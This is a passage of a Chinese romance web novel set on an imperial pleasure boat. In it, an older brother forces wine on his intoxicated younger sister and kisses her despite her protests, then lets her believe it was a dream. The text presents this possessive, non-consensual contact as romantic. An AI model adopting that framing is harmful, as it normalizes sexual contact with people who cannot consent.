浅粉色透过琉璃,在光下显现出极为诱人的色泽,陆念安的确有些渴了,便下意识舔了舔唇瓣。 周越替她湛了半杯,再细致地将白釉高瓷杯推至她面前。 陆念安便闻到了一股甜香气。 垂下眸,她好奇端详着杯中的澄澈液体,又双手捧起,缓慢尝了一口。 “很甜欸!”陆念安有些惊喜地抬眸,“沈……” 话才刚开了个头,却有些懊恼地被止住,她忙改口又道:“真的没有酒味,周公子也试试。” 周越笑着点头,他一边替自己湛了杯酒,提醒她:“若是不习惯,陆姑娘也不必改口。” 陆念安却仰起头认真道: “可用沈大夫这个名字的回忆,好像并不开心。” 说着这话时,她有些出神,双眸呆呆看着人,像是回忆起来什么。 明知不是看自己,周越仍旧沉溺在这样的目光中,片刻后垂下眸子,饮下一盏杏花酒。 陆念安是想起头一次见沈大夫时了。 那时只是觉得这位大夫很年轻,却未想过在不久以后,会在街角救下他。 那日他有些狼狈…… 好在一切都过去了,既是已经过去,便不该在回忆起伤痛。 就和她一样。 陆念安的字,也是长兄亲自替她添上的。 “还叫过陆念吗?”听闻这话,周越笑了笑,又主动同她提起近一月的考试,嗓音清润。 上一次,他用这般声音,同陆念安说起过往。这一次,他语调中显然轻松了许多,简单说了说考试。 陆念安认真听着,捧起瓷杯,一边替自己添上半盏酒。 甜酒香气浓厚,等陆念安慢慢悠悠将一整壶都饮完时,耳边的声音也缓缓止住。 周越看着桌案上那空落落的琉璃瓶,一时有些沉默,很快,他将那几乎空掉的瓶子拿远了些。 “甜的,不醉人。” 察觉到他怀疑的目光,陆念安如此解释。 此时已过酉时,天空更加黯淡,只有这艘画舫所带来的光亮,在深夜之中,越来越明晰。 看着这般暗淡的夜空,陆念安逐渐意识到时候不早,便缓缓起身。 没等她站稳,一阵冷风袭来,有湿濡的水汽散开,陆念安感受到裙摆被风吹拂地哗哗作响,忍不住抬手压下,耳边的风在这时忽得静了。 是周越微侧过身,不动声色地替她挡住。 陆念安没注意到,只疑惑风何时停了,当下便上前一步,欲同周越告别。 也是这时,露台之上的舞姬们散开,像是一舞结束,只余下鼓点同琴声,还萦绕在耳畔边。 陆念安用余光看了一眼,收回眸时,感受到头有些昏沉,她下意识摇了摇头想清晰一些,可眼前却是一黑—— “呀。”她小小惊呼了声,有甜腻的酒香从唇齿间溢出。 酒意上头,这一瞬间,双眸是肿胀的疼,陆念安感受到自己全身无力,像只折了翅的鸟儿,只能慢慢从高处跌落。 好在她并未完全跌落,只是一头跌进眼前人的怀中。 距离她一步之遥的周越反应过来,很快抬手,双手压在她的肩侧,揽住她单薄的肩。 他语调顿时有些急:“陆姑娘?” 失重的恐慌,使得陆念安在他怀中缓了好一会儿,才后知后觉地反应过来,仰起头。 挂在檐上的一连串宫灯,在夜色里越来越明晰,被周越揽在怀中的陆念安,此刻迷茫眨着眼,依赖地看着眼前人。 泪花替她眸间染上一层湿濡,视线因此变得朦胧,她正全身心注视着他。 被这样的目光所注视,周越搭在她肩侧的手不由得收紧,感受到女孩柔软的双臂,他恍然松开手,怔愣地退后一步。 他仍担忧地看着她:“陆姑娘?” “周越?”眼前地模糊散去,陆念安揉揉眼,忙同他道谢:“好像有些醉了,方才还要多谢周公子。” 她道谢时仍仰着头,杏眸里澄澈透亮。 周越看着她,垂在身侧的手微动,随后缓慢地摩挲起来。 手心间仿佛还残留着浅淡的暖香,是她衣裙上的味道。 顿时有些不放心她一人,周越开口道:“今夜舫上人多,陆姑娘是要去哪儿,我送送你罢?” “……” 等了好一会儿,陆念安却没回答。 她费力仰着头,只目光不是落在周越身侧,而是朝楼上看着,有些疑惑地蹙起眉。 片刻,陆念安收回目光,还是觉得古怪:“怎总感觉有人在看我呢?” 白日里周越一直在楼上,他联想到什么,再次侧过身挡住她,继续问道:“陆姑娘是要去哪儿?” “还要去找姐姐的。”已经离开了好一会儿,想到姐姐定还在茶室等她,陆念安一时有些心急:“差点忘了,姐姐还在等着我。” “还来得及。”周越安抚了一句,带着她往前走。 舫内如宫殿一般华贵,随处可见宫灯,穿过长廊,一侧是错落有序的厢房,一侧是茶室会客厅。 长廊间,两人一前一后地走着,一高一矮,一个是清润探花郎,一个是娇俏小娘子,远远望着,竟意外相配。 没走片刻,隐约听见什么声响,于是两人不约而同地侧过眸,透过支起的花窗往外看,原是夜空之上,炸开了许多五色的烟花。 今夜游船,乃皇上亲迎,自听闻皇上要留宿一夜以后,礼部的人便下派人手,特意在江边点燃了烟花。 烟花炸开的一瞬,五色彩光流转于陆念安眼眸。 从未在江上看烟花,陆念安有些新奇,眼中闪着熠熠的亮光,她忍不住开口:“若是能多看一会儿就好了。” 周越立在原地未动,道:“那便多看一会儿再走。” 她语调却烦恼:“可是等船靠岸以后,便该回家了。” “但今夜宿于舫中,陆姑娘还有很多时间,可以慢慢欣赏。” 他浅笑着同她解释,陆念安听见这话后,一顿,却是疑惑:“周公子这话是何意?” 方才虽未在楼上,但圣上临时起意要赏夜景一事,已由大太监福德代为传达给众人。 周越见她不知,耐心同她解释了一番。 “这样啊。”陆念安看着夜空,这才意识到这画舫立在江水之中,从方才开始,便从未动过了。 遥遥看向远方,偌大而繁荣的上京,在眼中却成了米粒一般的小点。 忽然就没了赏烟花的心情,陆念安清晰意识到——今夜她回不去了。 酒意上头,陆念安抬手扶额,一时间有些头疼。 她先是想起今早离府时,兄长同她的叮嘱,又想起她满口答应,说自己一定会听话时的笃定。 可是她回不去了。 陆念安从未在外留宿过。 一想到自己将会离家一整夜不归,也没办法同家人通信以后,她肉眼可见地慌乱起来。 像被大雨淋湿的娇弱小花,焉巴巴垂下花枝,陆念安无措地叹声气,焦虑道:“怎回不去了呢?哥哥还在家中等阿念呢。” 周越不明白她忽然的情绪低落:“陆大人不就是楼上吗?” 听见这话,陆念安揪住裙摆的素指顿住,许是真的醉了,她迷糊地眨眨眼,差点以为自己听错。 周越见状,了然又道:“陆姑娘今夜并非同兄长一同前来?” 这句话透露的太多,让本就昏沉的陆念安,缓了好一会儿,才逐渐理清楚。 细细想来,其实有许多蛛丝马迹,只是她全然未放于心上。 既然哥哥今夜也回不去……陆念安怕极了兄长的教训,当下便恳求地看向周越:“周公子可以帮我一个忙吗,若是见到哥哥以后,可不可以不同他提起阿念。” 陆念安从来都是乖孩子。 但她也同许多孩子无二,今夜偶尔的不乖,第一想法便是瞒下去。 周越神色复杂地看着她,又提醒道:“相信陆姑娘若是如实说道,没有人会不理解的。” “可是,”在周越的第二次提醒下,陆念安才后知后觉地侧过头—— 静立于身后高大身影,一张脸隐匿在暗中,正静静凝视着她。 同一时刻,耳边传来烟花炸开的声响,灯光照彻,夜如明昼,有五色焰火映在他脸侧,衬得他轮廊柔和了几分。 这样的身影,显然只会是她熟悉至极的兄长。 夜空之上的光亮转瞬即逝,陆念安焉焉垂下眸,很没底气地开口唤他:“哥哥……” * 长廊间,陆念安跟在兄长身后,远远看着,男人背影高大,将她衬得越发娇小,活像个犯了错,不情不愿跟在长辈身后的孩子。 走了一会儿以后,陆念安有些受不住长兄的沉默,快步上前,甜声道:“好巧呀哥哥。” 陆念安是非分明,知晓是自己不乖在先,当下对于兄长的沉默,她只好更用力地讨好:“阿念真是没想到,哥哥今日也在呢。” “哥哥方才是在楼上吗?怪不得阿念一直没瞧见哥哥。” “哥哥今日赏舞了吗?胡人所制得衣裙可真好看,哥哥觉得呢?” “方才的烟花哥哥瞧见了吗?阿念喜欢银白色的,就像月亮一样。” “哥哥喜欢什么颜色?” …… 原本只是讨好,说到最后,到成了陆念安一个人的叽叽喳喳。 玩了一天,她其实都有些累了,说着说着便打了个哈欠,已经有些力不从心地跟着眼前人。 兄长太高,若是不放慢步调,陆念安需走两步才能跟上他的一步。 她抬手篡住他的袖摆,娇声抱怨道:“走慢些吧哥哥,阿念好累呀。” 闻言,陆祈终于垂下眸看她,狭长的眸子在此刻显得冷淡。 小姑娘是一惯的娇纵。 既是做错了事情,到头来却连讨好也不愿多说几句。 “对哥哥就这般没耐心?”他沉沉看向她:“今日是谁不乖在先?” “我……”陆念安顿时心虚地低下头,不情不愿地开口道:“但阿念也不是故意的。” “而且阿念也没做什么。”许是察觉到他态度松动,陆念安得寸进尺:“那哥哥也失约了,哥哥晨日里分明答应过阿念要回府的。” 想起皇上命众人留宿在舫中,既然舫不靠岸,那舫上之人,皆没办法上岸,又何有回府一说? “那哥哥也很不乖嘛……”思及如此,陆念安一时有了底气,振振有词道。 却丝毫没注意到,在她说话之际,垂眸看向她的兄长,眼眸越发深沉。 他什么也没说。 …… 转眼来到三楼,这里显然比楼下更为奢华,黄色琉璃瓦,雕梁画栋,地板皆用金丝楠木打造。 陆念安抬眸欲细看,面前厢房的门的忽得被风吹开, 内室中一片凌乱,里衣步履、酒壶酒杯皆四散于地上。醉酒的女人躺在榻上,面色潮红地看着眼前男人,一边呻咛道:“喝多了,头疼……” 她还没来得及收回目光,又见那女子红唇微张主动送吻…… 陆念安深吸一口气,立刻转过头看向兄长。 随着这风,檐下宫灯摇摇欲坠,明灭不定的光亮笼着两人,陆念安一时分辨不清眼前人是何神色。 直到耳边传来浅淡的呻吟声,她一时有些害怕,却分不清自己是害怕什么,催促道:“哥哥我们快些走吧。” 话音落下的瞬间,她一只手被直接扣住,又被迫张开,感受到粗硬的骨指缓慢抵上来,几乎侵略地同她十指相扣。 然后一瞬间收紧。 陆祈快步往前走。 比起方才刻意放慢的步调,现下的陆念安,几乎是被他拽着往前。 “哥哥?”陆念安娇气地唤一声他,有些抗拒。 掌心被握得很不舒服,他收得太紧,几乎严丝合缝地裹住她,让她生出一种喘不过气的错觉。 陆念安鼓起勇气刚要挣脱时,正快步朝前走得人忽然停了。 她其实有些没反应过来,一侧的门被直接推开,陆祈抬步走进,将她一同带进屋内。 室内只点着微弱的烛灯,昏暗间,隐约能见正中的桌案上,放着一个漆木小盆。 陆祈将她带到桌案面前止步,又松了手。 陆念安都还没来得及喘口气,那大掌再度袭来,拢着她一双手压进漆木小盆中。 温热的水中湿濡,陆念安很快感受到头越来越昏沉,是方才那酒彻底起了作用,酒意烧得她面色潮红,一双眸也渐渐迷乱起来。 她没有精力反抗,只看着哥哥替自己净手。 从指腹到指骨……每一处被抚过,一双纤纤玉手,好似被男人把玩在掌中,一遍两遍……温水也换了一次又一次。 不知多久,陆祈才止住动作,看着她被洗到泛红的一双手,他疼惜地用指腹轻抚过去。 那里有些红肿。 净好了? 陆念安晕乎乎看着兄长,已是极困倦地模样。 “阿念有些脏,”他转而用绸帕擦拭她的脸,事无巨细了净了两遍以后,他解释:“不过没关系,哥哥让人替阿念洗一洗如何?” …… 她已经醉得走不动路了,最后是陆祈将她抱到了净室。 净室内,白茫茫的热气熏开,夹杂着茉莉香露的味道。 替陆念安沐浴的,是秋菊。 虽不知公子为何说小姐脏了,但秋菊不敢怠慢,放柔力道,甚至于将她的每一根发丝都清洗干净。 半刻钟后,陆念安才被洗干净。 秋菊替她换上她寝衣,她却有些不安分地乱动着。 眼瞅着单薄的云纱沾染上水渍,透出纱下细腻的肌肤,秋菊有些恼:“小姐!” 醉酒的人却不讲道理,痴痴笑着:“嘿嘿,让阿念看看,哇,秋菊怎么也来了呀?” 秋菊:“……” 无奈叹息一声,秋菊只好将她带去先前的屋内,刚推开门,却见大公子坐在床侧。 他整个人沉在黑暗中,寡淡的冷。 这不是小姐那间房吗?是走错了? 没等秋菊想清楚,陆念安困极了,已经迷糊着走到床侧。 秋菊刚想将她叫回,陆祈抬眸看了她一眼,却道:“出去罢。” 男声语调沉着,秋菊几乎连思考也没有,便顺着这声音离开。 直到将眼前的门合上,她方从那道声音中抽离,忽得感受到几分古怪。 第58章 第五十八章 江上风大,夜里也不能平静,狂风打在窗间,本就微弱的烛光,很快被透进屋内的冷风熄灭。 眼前顿时变得一片漆黑,正往前走着的陆念安一愣,又听见门被合上的声音,一时间没反应过来。 片刻后才意识到什么,站在原地,她委屈至极地抬手捂住眼睛,泪水很快打湿了手心,又啪嗒啪嗒往下落。 黑暗中,任何声响都变得清晰,从她唇间溢出的呜咽声,更是可怜极了。 陆念安正难过自己瞎掉时,耳边落下一道冷淡至极的男声。 “过来。” 没有温度的二字,带着不容人质疑的冷冽。 陆念安被吓得一抖,连反应地时间也没有,便顺着这声音往前。然而越慌忙越凌乱,没走几步,她就颤巍着,一脚磕在桌腿上。 醉酒的人没什么力气,被绊倒以后,立刻摇摇欲坠往前跌。 陆念安忍不住吸吸鼻子。 摔倒就摔倒,反正她也瞎掉了。 正自暴自弃地想着,静坐于床上的男人忽得抬手,一手揽过她的腰侧 ,将她往怀中拉。 耳边传来细微至极的风声,浅浅冷香萦绕在其中。 她跌进一个过分硬实的怀抱,若不是感受到压在腰侧的炙热温度,陆念安几乎以为自己是磕在了地板上。 她皱起眉,红唇微张,娇气又不舒服地轻哼了几声。 喝了酒的小姑娘,浑身上下本就是热得,当下实在热得忍受不了,轻轻挣脱,欲想逃离。 箍在腰上的力道却一瞬加重,长而硬的指骨收紧,几乎是掐着她的腰摩挲,末了,拍在她后腰往下的位置。 不轻不重地两下,令陆念安一下子就软了下来。 她彻底没了力气,低哼一声,脸颊靠在他胸膛的位置,就像只猫儿一样,懒懒倒在男人怀中,一边仰头一边无力地蹭了蹭他。 才刚沐浴完,乌黑的长发越发衬得她小脸白皙,仰起头,一双眸子更是水光滟滟,湿漉漉瞧着人时,是极好欺负的模样。 缓了片刻,陆念安终于瞧出眼前人是谁,乐呵呵笑一声:“原来,原来是周公子呀。” 对,她方才摔倒,就是周越将她扶了起来。 张了张唇,她还想说些什么,临到开口却又忘了…… 陆祈落在她腰上的手又紧了紧,忽得蹙起眉,眉眼间越发凌厉:“ 跌在他怀里,也这样看他?” 谁? 陆念安没听明白,脑中乱呼呼的,她干脆不想了,垂下眸想好好睡一觉。 “陆念安,”陆祈却抬手掐住她下颚,他手掌宽厚,只用了极轻微地力道,迫使她仰起头,只能看着他:“那我是谁?” “说话。” 睡觉也不行,好烦呀。 “是……”陆念安烦躁地睁开眼,迷迷糊糊开口,却又说不出个所以然。 她只好认真思考起来,湿濡的眼眸因此显得更加呆愣。 沉默间,陆祈想起第一次见她时。 小姑娘可怜兮兮地缩成一团,她是那般微弱渺小,只一双眸实在漂亮的紧,让人不由得疼惜起她来。 是他将她带走,这些年来,也由他悉心照料她,一碗药一碗药的将她灌成这般大。 可长大以后,她却开始用那双漂亮的眸子,毫无防备地对着生人笑。 她总是不听话。 不知道这个世界上,没有人会像他一样对她好了。 陆祈双眸微眯,几乎是生气地将指腹压在她唇瓣上。 他用力揉了揉,将她唇间的浅粉揉开,那里开始变得殷红,红肿, “是哥哥?”陆念安被揉得闷哼一声。周公子很温柔的,才不会这样掐她。 闻言,他眉眼间的冷淡散了些许,嗓音却仍旧冷冽:“哥哥对阿念不好吗?” 说这话时,他一边用掌心轻抚着她脸侧,似是回忆:“是谁将阿念抱回府?是谁在冬日里替阿念捂脚的?” “……那年寒冬,阿念玩完雪便钻进哥哥榻里,哥哥有说过你一句不是吗?” 可趁一个人醉酒时讲道理,未免有些过分了。 陆念安当然一句也未听懂,嘴一撇,立刻不高兴地别过头。 已过戌时,黑云散开后,窗外明月高悬,银白色月光从缝隙处透进,落下一地寒凉。 眼前不再是一片黑暗,她眨了眨眼,很快看见位于一旁的几案上,放着几个熟悉的琉璃瓶。 月光下琉璃瓶反射出晶莹的光,盛在瓶中的液体,更是清透澄澈。 宫廷御酒拿来招待外客最合适不过。侍女们按照吩咐,早就在三楼的每一间厢房内,都摆放了些御酒。 未注意到幼妹逐渐飘远地思绪,陆祈仍在回忆,语调越发平缓:“……从小到大,哥哥何事不是让着你,既是阿念犯错,哥哥有真的罚过你吗?” “阿念今夜饮了甜甜的酒,哥哥也试试好不好。” 陆念安一句也没听,只是乐呵呵问他。 她眉眼弯弯,将方才发生的一切,包括长兄那些耐心的劝告,一同抛之脑后。 见他不语,陆念安煞有介事地又扯了扯他衣袖:“哥哥,周公子说过,杏花酒是不醉人的,哥哥也试一试好不好?” “……”克制住内心起伏,他深深呼出口气。 对上幼妹笑盈盈的眼眸,陆祈从未想过,自己对她的耐心竟也会有逝尽的一日。 他不过晃神一瞬,陆念安立刻趁机挣脱开,摇晃着走到小几前,一边捧起个琉璃瓶,一边拨开木塞就往唇边送。 悠悠饮了两口后,便没什么力气地跌在地上,她双腿懒懒弯曲着,仰起头。 陆念安将手中的琉璃瓶往外送,大方道:“哥哥也喝。” 月光朦胧,轻轻笼罩着室内。 静坐于榻上的陆祈,仍保持着方才的姿势,并未回答她。 直到陆念安欲饮第三口酒时,他终于站起身,抬步走到她面前,一手抢过酒壶。 “小没良心,”看着她迷茫又无措地仰起头,陆祈仍克制着什么,暂且平静道:“杏花酒虽甜,但宫中御酒,皆无有不醉人一说,周公子未同阿念说?” 陆念安下意识摇头。 他将酒壶放回案上,半蹲下身看着她:“既哄骗阿念喝了这般多酒,他有什么好的?明日阿念头疼,还不是要哥哥来哄?” 陆祁抬手抚在她脸侧,一字一句又道:“阿念,只有哥哥是真的为了你好的。” 话音刚落,陆念安却拍开他的手:“那阿念讨厌哥哥!也不要你为了我好!” 意识到不能再喝酒……虽说她其实也不想喝酒了,但酒意上头,昏沉间,迫使她不断往外宣泄情绪。 陆念安挥舞起双手撒泼,一不小心一巴掌拍在他脸侧:“就要喝我就要喝,就不要哥哥管!” 明知道醉酒的人并不讲理,可这一瞬,陆祁还是生生被气得头疼。 “好了阿念,别气哥哥了。”他语调平缓,大掌收拢,握住她撒泼的手,轻轻揉了揉。 “就要喝就要喝,”许是逆反心理上来,陆念安压抑了许久,当下便抽哽着:“阿念就不要哥哥管,什么也不要哥哥管,阿念还要同周公子说话,抱周公子,要……” 还有什么? 霎那间,脑中浮现起上楼时遇见的那一幕,她抽抽搭搭继续道:“阿念还要亲周……” 这一次,一句话未完,陆祈直接抬手拿过琉璃瓶,将瓶口直直压在她唇边,又往上抬。 很快,杏花酒倾斜着散入口中,他灌得又多又急,不给她喘息地时间,令她连吞咽都来不及。 不过片刻,琉璃瓶便空掉了,陆念安却是一口也未咽下,唇瓣湿濡着,而那些晶莹的甜酒,混着她口中津液,尽数流了下来。 滑过脖颈,流入胸口,将胸前的一大块云纱都染得湿润,湿湿嗒嗒间,莹白的起伏若隐若现。 他沉沉看着她,意味不明道:“好喝吗?” 陆念安砸吧着嘴,便想将余在口中的酒吞掉。 陆祈正半跪在地,瞧见这一幕,男人狭长的眸子微眯,当即用长指挑起她的下巴,一边俯下身,吻在她湿濡的唇瓣上。 很甜。 浓稠而甜腻的汁水从她口中溢出,被男人尽数咽下,他却仍觉得不够,正侵略她口中的每一处,用力吮吸。 陆念安难受地哼唧起来,娇媚道:“不要了……” 但任凭她再怎么挣脱,也没有被放开。 她很快被亲得喘不过气,扭腰缓解,被陆祈察觉到,便一手掐在她后腰的位置,将她往上抬。 她只能含糊着低喘:“哥哥……” 闻言,陆祈才片刻抽离,不悦道:“既不要哥哥管,以后就都别叫了。” 只留给她一瞬喘息地时间,他重新俯下身,紧紧锢住她的腰。 一个略带惩罚的吻。 他吻得太重,不断有湿濡粘腻的水渍声从两人唇齿间溢出。 不知过了多久,他才终于将她放开,盯着她迷乱的视线,问道:“还想吻谁?” 不比他的精力,陆念安连最后一丝力气都被磨灭,若不是腰上那手一直扶着她,她只怕是倒地不起。 此刻巴掌大的脸上苍白,唇瓣红肿,像被揉得破碎的樱桃 吻? 只是提起这个字,她无力地摇了摇头。 陆祈才终于肯放过她,卸下落在她腰间的力道,她立刻软塌塌往他怀里倒,娇媚的模样,乖巧极了。 他一手抱起她,摸了摸她的头,喟叹道:“阿念现在好乖。” 第59章 第五十九章 翌日一早,江面上雾气浓厚,秋菊推门而进时,带进一屋子水汽。 她将手中托盘放下,慢悠悠走到一侧,打算将花窗支起来一些透透气。 没等她走到窗边,却先一脚踢在了什么东西上,当即便有清脆的声音传入耳畔。 垂眸,只见一个长而圆的琉璃瓶正往前滚动着。 晨日里光线稀薄,依稀可见浅粉色琉璃瓶中空荡,秋菊皱起眉,正要凑近看时,这细微的清脆声同样将陆念安吵醒。 “秋菊……” 昏昏沉沉从梦中醒来,陆念安躺在榻上,不太舒服地伸了个懒腰,又难受地哼唧两声:“秋菊,我肯定是生病了。” 像是沉沉陷入了黑暗中,整个人晕乎乎没有力气,连睁开眼都极为费力。 闻言,秋菊也顾不得那琉璃瓶了,走进一看,顿时也有些被吓到:“小姐的眼睛可是哭肿了?” 陆念安睡觉一向不安生,此刻斜斜躺在榻上,双手环住柔软的锦被,一边将小脸也埋进去,只露出一对通红的眸子,都快肿成了核桃。 “昨夜又是怎得偷偷哭了?”待会儿还要出去见人,此刻见她这般模样,秋菊实在有些忧思,一边转过身去翻找药膏。 陆念安已经清醒了些,昏沉着坐起身,才发觉视线模糊……怪不得方才睁不开眼呢。 所以昨夜,她是如何哭得? 记忆同样一片混乱,只要试着回忆起,额头便是一抽一抽的疼,她抬手痛苦地抵在额上,唇瓣张合:“可是我都记不清……嘶” 更清晰地疼痛袭来,陆念安有些茫然地用指尖触在唇瓣上,再抬眸时,双眸湿漉漉,正往下淌着眼泪。 而一旁,没翻找到药膏的秋菊叹息一声,只好抬手先将花窗支起,又弯下腰将那琉璃瓶拾起来。 她晃了晃,瓶中果然毫无动静,秋菊一顿,顿时恍然大悟。 “小姐!”匆忙走到塌边,她实在有些无奈:“昨夜回屋,可是又自己偷喝酒了?” 陆念安喜甜,同样也喜甜滋滋的酒,自陆子诺带她着饮过后,便时常念叨还想喝。 偶尔喝一些是没问题,但秋菊万万没想到,她竟能贪多到将这一壶都饮完。 秋菊忍不住又叮嘱起来:“都说了小姐不能饮了太多的,不然又吵着要说头疼。” “已经很疼了,”陆念安捂着额头,极轻声疑惑道:“那昨夜秋菊怎都没管管我?” 她现下都不敢用力说话,生怕牵扯到唇角,否则又是一阵一阵的疼。 支起窗后,能看见江上雾气已散开了些,几丝光亮透过云层直直坠下,很快透进室内。 光下,她唇瓣又红又肿,像是被咬得狠了,让人无端想起饱满的樱桃来。 “小姐喝酒以后都干些什么了?”秋菊颇为忧思地盯着她:“昨夜替小姐沐浴后,秋菊本欲陪着小姐,但听闻子诺小姐也在舫上,秋菊便先去寻她了。” “还是大公子陪了小姐一会儿,后来等秋菊回来,小姐便已经睡下。” “哥哥?” 忽得听秋菊提起这两字,陆念安轻蹙起眉,只觉有一些记忆正缓缓变得清晰—— 她看见自己吵吵闹闹要喝酒,哥哥自是不让的,她便只好偷偷跑去喝……记忆从这里开始变得混乱,零碎的画面里,最后是哥哥将她抱起放在了榻上。 他却没有走? 他将她放在榻上,他亲得很用力,一手紧紧锢住她的腰,不多时便有粘腻的水渍声回荡在耳畔,只让人回想起来,都觉得脸红耳赤。 就和刚上三楼时,看见的那一幕一样。 可是哥哥怎么会亲她呢? 陆念安不由得怀疑起自己混乱的记忆来。 “秋菊,”她害怕地缩回锦被中,可怜巴巴看着人:“我昨夜真的睡着了吗?” “是,等秋菊回来时,小姐已经好生生躺在床上了,到是小姐你,怎连何时睡得也记不清?” 见她怀疑的神色,秋菊替她倒了一杯温茶醒酒,忍不住笑道:“小姐还真是一喝酒就变迷糊,秋菊还记得去年你生辰,子诺小姐带了壶桃花酒给你,分明只让你喝一小盏,小姐也是偷偷饮完了一壶,等翌日一早醒来,竟嚷嚷着说公子回来了……” 这么一说,陆念安也想起这件事。 那日昏昏沉沉睡去,半夜醒来却是头疼,她本是起身想找口水喝,刚抬眸,却见月光下,恍惚间似是多出一个人影。 他穿白衣,他问她渴了吗,他抬手倒了一杯水。 他朝她走来。 月光落在他周身,替他镀上一层银白色光辉,冷清的模样,就仿若天上的仙君一般。 而这仙君正静静看着她喝水。 陆念安几乎以为是自己出现幻觉了,直到第二日,看见几案上那空荡荡的月牙白瓷杯后,才反应过来什么。 她兴冲冲跑出去,问哥哥是何时回来的,现在在哪儿。 却得到秋菊疑惑的目光:“北疆同上京相隔四千多里,既是加急赶路,也要半月有余,小姐莫不是醉得出现了幻觉?” 秋菊说得没错。 北疆太远,那年的生辰,已经不会再有哥哥了。 …… 从回忆中抽离,陆念安揉了揉额,不确定道:“那我好像是,又做了一个梦?” 就像那一夜,身处于北疆哥哥,不可能突然出现在屋中,他亦不会在昨夜吻她。 他从来都是教她稳重,甚至避她两年,也要告诉她兄妹有别的哥哥。 所以这怎么可能呢? 想明白以后,陆念安更崩溃了,都怪昨夜看见了那一幕,不然她怎么会突然做梦嘛! 正哭丧着一张脸怀疑自己时,一旁的门忽得被敲响,她立刻紧张道:“是哥哥吗?” 秋菊也疑惑是谁,推开门一看,便见一个侍女捧着个红木托盘递来。 盘中分别盛放了两盒瓷罐,及一盏蜂蜜水。 “陆大人让我送来的,说是给小姐醒酒,”那侍女笑了笑,又殷勤着替秋菊解释:“这两盒呢,白色的涂眼睛,绿色的涂唇上,你替小姐来上药如何?” 见状,秋菊呼出口气,感激道:“麻烦了。” 秋菊接过托盘,缓缓走到床榻旁。 看着她开始摆动起那两盒药膏,陆念安顿了顿,总觉得哪里怪怪的。 * 那药膏敷上去很凉,带了些草木的清香,让肿胀的地方舒服很多。 约莫过了半刻钟,秋菊替她擦拭干净,又给她上了些妆粉遮肿。 这才去舫头用早膳。 今日是宫中御厨做得早膳,食材也都是用船方才送来的,讲究一个新鲜。 一盏乳白色鱼汤、半碗燕窝酥酪、半碟口蘑煎肉。 那汤从夜里便开始炖,捞取出鱼骨鱼肉,只余下鲜香清甜的汤。 陆念安刚用了两口,唇边又疼了起来,她只能小心翼翼往口中送,一边抬眸张望。 用早膳的时间,摆在外的宴桌都坐满了人,驱散了些晨日里静谧。 她缓慢收回目光:“怎么没见着哥哥?” “公子大抵是还在忙?”秋菊哄着她:“小姐先吃些,等喝完汤头就不疼了。” “好吧。”陆念安乖巧地低下头,小口小口饮喝着汤。 她低头之际,陆陆续续走进几个人影。 几个人坐在陆念安身侧,大抵是相熟的人,三三两两围坐于一桌,有说有笑地用起来膳。 交谈声很快跟着传来—— “听闻皇上昨日夜里抬了个舞女,到现在都还没醒来呢。” 这几人是今年才入御史台的监察御史,都很年轻,其中一个回道:“别说皇上了,我听闻那些个大人,也都朝皇上讨要了那西域舞姬,到现在也都没醒来呢。” “你们说过几年,我们几个有没有资格,也在皇上跟前说些好话,没准皇上一高兴……” “那怎么我今早还见到了陆大人?”说这话的,是几人中年龄最小的一个。 “陆大人夜里便去楼下看察秩序,说是守了整整一夜未睡。” 刚入官场的愣头青,带着些稚嫩的天真,显然还没被名利权势所熏染过。 年龄最小的一个闻言,一手拍在桌上:“我以后也要做陆大人这般清白坦荡的公子。” 偷听到这话的陆念安,正心不在焉地往口中送了勺鱼汤。 未曾料碰到唇角,疼意袭来,她“嘶”一声,当即扔下了瓷勺,眼眸也重新变得湿濡起来。 可怜巴巴地抬起眸,陆念安本意想找秋菊卖惨,捂着唇却是一愣。 陆祈正从一侧走来,连着一夜未睡,他神色间没什么疲态,看向她的目光沉稳而冷静。 他越来越近,最终在距离她一米的地方止步。 可不知怎得,陆念安忽然有些紧张,捂着唇瓣的手也没放下,只慌忙道:“哥、哥哥。” 她像是没从那梦中醒来,同哥哥对视时,也总是想到昨夜……不,不能这样的。 陆念安摇摇头,想将那些记忆扔出去。 陆祈拉开圈椅坐下,那双冷静的眸子,在看向她时柔和了几分。 他淡声开口:“放下来。” 陆念安有些没听懂,只眨巴着湿濡的眼眸看他。 陆祈同她对视:“捂着干什么,让哥哥看看。” 说这话时,他语调中带着些许强硬。 陆念安只好轻轻“哦”一声,一边将手放下,一边垂下眸委屈道:“哥哥,好疼的,阿念也不知怎么弄的。” 刚用了药膏,唇瓣却还是有些红肿,此刻被鱼汤染上一层晶莹的水渍,在光下显得可怜。 此刻被兄长认真看着,陆念安反而没了一开始的羞涩,她吸吸鼻子,又同他撒娇,哼唧着喊疼。 在熟悉的人面前,五分的疼便也叫她哼成了十分。 陆祈搭在身侧的手不由得轻叩起来,眼眸微眯。 “哥哥,真的很疼。” 她又开始哼唧起来,昨夜便也是用这样的声音,求着他说要呼吸。 阿念很甜,被亲得久了,唇瓣是樱桃的颜色。 只是怎么都学不会换气,他教了她许多次,到最后,她却也只会眼眸泛红地低喘,要他轻一些。 他全都记得。 第60章 第六十章 “哥哥?” 抱怨没得到回应,陆念安一时更烦闷了,手抵着白瓷勺轻轻搅动,一边疑惑:“哥哥怎么都不说话?” 陆祈将目光移到她泛红的眼角。 幼妹贯喜欢用那对湿濡清澈的眸子盯着人,昨夜也是这般,委屈着呜咽时,便要停下来哄一哄才能继续亲。 他似有若指:“好娇气的阿念。” 陆念安没听懂,忽得就更委屈,当即便皱着张脸反驳:“阿念哪有娇气?” 心中的不适感加重,陆念安想,哥哥从前绝不会这般说她。 思及如此,她气鼓鼓看着人。 陆祈只得轻叹一声,刚想哄哄小姑娘,跟在身后的青竹却在这时上前,唤道 :“大人。” 在北院多年,青竹是极会看眼色的,能让他出声打扰的,只能是些推辞不了的要紧事。 果不其然,他继续道:“皇上那边唤大人您去一趟……有些急。” 天子命令,怎敢不从? 陆祈也只得缓缓起身,临走前,淡淡看了陆念安一眼,叮嘱:“阿念,你身子还凉,晨日里多喝些热的?” 陆念安没说话,只握住瓷勺的手不由得紧了紧,很快却听见耳边又落下声—— “替小姐再添半碗阳春面。” 这如何吃得下?几乎是他话音刚落,陆念安便抬起头想要拒绝。 奈何兄长已经侧过身,只余下个无情的背影。 “……” 那半碗阳春面也很快被侍女端上来,翠绿的葱花飘在面汤之上,香气顿时扑散开来。 可陆念安却丧气极了,一时间就连那鱼汤都不想再用。 她缓缓放了勺子,只侧眸欣赏了会儿江景,心情才稍稍好了些。 此时的画舫,正缓缓往岸边靠拢。 江水之上,一圈又一圈的涟漪荡漾开,薄雾间,朦胧的山色像极了幅水墨画,柔和而雅致。 